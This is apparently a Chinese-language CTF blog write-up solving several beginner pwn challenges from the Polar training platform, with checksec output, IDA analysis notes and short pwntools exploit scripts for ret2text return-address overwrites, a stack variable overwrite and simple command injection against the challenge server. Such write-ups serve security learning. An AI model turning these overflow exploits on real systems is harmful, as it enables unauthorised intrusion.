CTF

polar靶场 sandbox

使用checksec看看保护

存在栈溢出保护与数据段保护

image-20251029171338940

附件直接丢到ida里面看看

image-20251024212758990

f5查看伪代码

image-20251024212818861

有一个box函数

跟进一下

image-20251024212834202

这个函数会读取buf字符串数组

但是会匹配到某些特定字符

那么简单来说就是有一些限制的rce

我们直接nc连接

然后用单引号绕过即可

image-20251024213412927

polar平台 creeper

存在数据段保护

image-20251029171418360

附件 拖到ida里面看看

image-20251024213620142

image-20251024213636564

有个game函数 跟进一下

image-20251024213700980

这个程序会读取0x100个字符 存在缓冲区溢出

但是这道题也不需要利用这个漏洞

我们只需要让buf字符串数组的长度为15即可

exp:

1
2
3
4
5
from pwn import*
p=remote('1.95.36.136',2131)#连接到ip:port
payload=b'a'*15#写入15个字节型字符串
p.send(payload)#发送数据 发送的数据就是payload里面的15个字节型字符串
p.interactive()#开启交互式shell

image-20251024214119608

这里需要注意要使用send()

只传输15个字节型字符

(本人在此犯了个傻 一直以为像是buf[15]没有直接初始化的字符串数组 最后一个元素会自动填充空格符 实际上并不会)

polar平台 简单溢出

存在nx保护

image-20251029171458816

拖到ida里面看看

image-20251024233200045

image-20251024233211099

这里很明显有缓冲区溢出的漏洞

主函数里面没有其他的函数

我们去看看还有没有其他函数

image-20251024233239228

左侧看到了一个fact函数

image-20251024233257384

很明显是一个后门函数

那么思路就很简单了

首先这题就是一个ret2text

我们获得后门函数的弱点地址

然后覆盖掉主函数里面的retrun的地址就可以了

image-20251024233551056

获得后面函数地址为0x400596

image-20251024233631218

写入0x38个字符然后再覆盖掉返回地址即可

exp:

1
2
3
4
5
from pwn import*
p=remote('1.95.36.136',2100)
payload=b'a'*0x38+p64(0x400596)
p.sendline(payload)
p.interactive()

image-20251024233935793

sendline()和send()相比就只是多了个\n换行符而已

polar平台 system

存在栈溢出与nx保护

image-20251029171709958

拖到ida里面看看

image-20251025102326176

这道题会读取buf中0x1e个字符

明显存在溢出

但是此题直接会执行system(buf)

那么就很简单了

直接nc连接上去

然后输入cat flag就可以了

就是个简单的rce

image-20251025102633389

polar平台 Emm

存在nx保护

image-20251029171734211

拖到ida里面

image-20251025102722584

可以看到左侧函数栏那边有yes和flag函数

我们等下去看一下

image-20251025102756745

主函数里面有个yes函数

我们跟进一下

image-20251025102823534

有个溢出点

我们去flag函数那里看看

image-20251025102853246

会直接执行cat flag

那么这道题就是个ret2text

具体原理之前的题目有

exp:

1
2
3
4
5
from pwn import*
p=remote('1.95.36.136',2135)
payload=b'a'*(0x58+0x4)+p32(0x080484CB)
p.sendline(payload)
p.interactive()

注意这里是32位

image-20251025103252712

polar平台 Choice

存在nx保护

image-20251029171754159

拖到ida中

image-20251025103343096

左侧函数栏有许多函数

还有一个shell我们等下去看看

先到主函数里面看看

image-20251025103401698

有3个函数

我们分别去看看

Data1

image-20251025103427148

Data2

image-20251025103440864

这两个函数读取的字符串个数都一样

并且并没有溢出漏洞

read值读取buf中的0x35个字符

Data3

image-20251025103532238

这个函数里面会读取0x50个字符

存在溢出

我们到shell里面看看

image-20251025103658194

存在后门

依然是ret2text

exp:

1
2
3
4
5
6
7
from pwn import*
p=remote('1.95.36.136',2114)
payload0='3'
payload=b'a'*(0x38)+p64(0x4007BD)
p.sendline(payload0)#先发送3进入到Data3函数中
p.sendline(payload)#再发送我们的payload
p.interactive()

image-20251025103920990

polar平台 overload1

存在nx保护

image-20251029171828885

拖到ida里面看看主函数

image-20251025104115846

定义了2个字符串数组

我们的目标是使得v5[1]==97也就是a

1
__isoc99_scanf("%c", v5);

他只会读取一个字符

这里并没有溢出漏洞

但是v5[0] == 121也就是y的时候

1
result = gets(v4)

他会读取我们输入的字符串到v4中

这里就存在溢出漏洞了

根据函数在栈帧中的结构

我们可以知道此时输入v4的时候是可以覆盖掉v5中的值

我们点击v4

然后进入栈帧结构中

image-20251025104632245

var_110就是v4

我们通过溢出覆盖掉v5中的元素即可

exp:

1
2
3
4
5
6
7
from pwn import*
p=remote('1.95.36.136',2064)
payload0='y'
payload=b'a'*(0x112)
p.sendline(payload0)
p.sendline(payload)
p.interactive()

image-20251025104920802

说些什么吧！

gitalk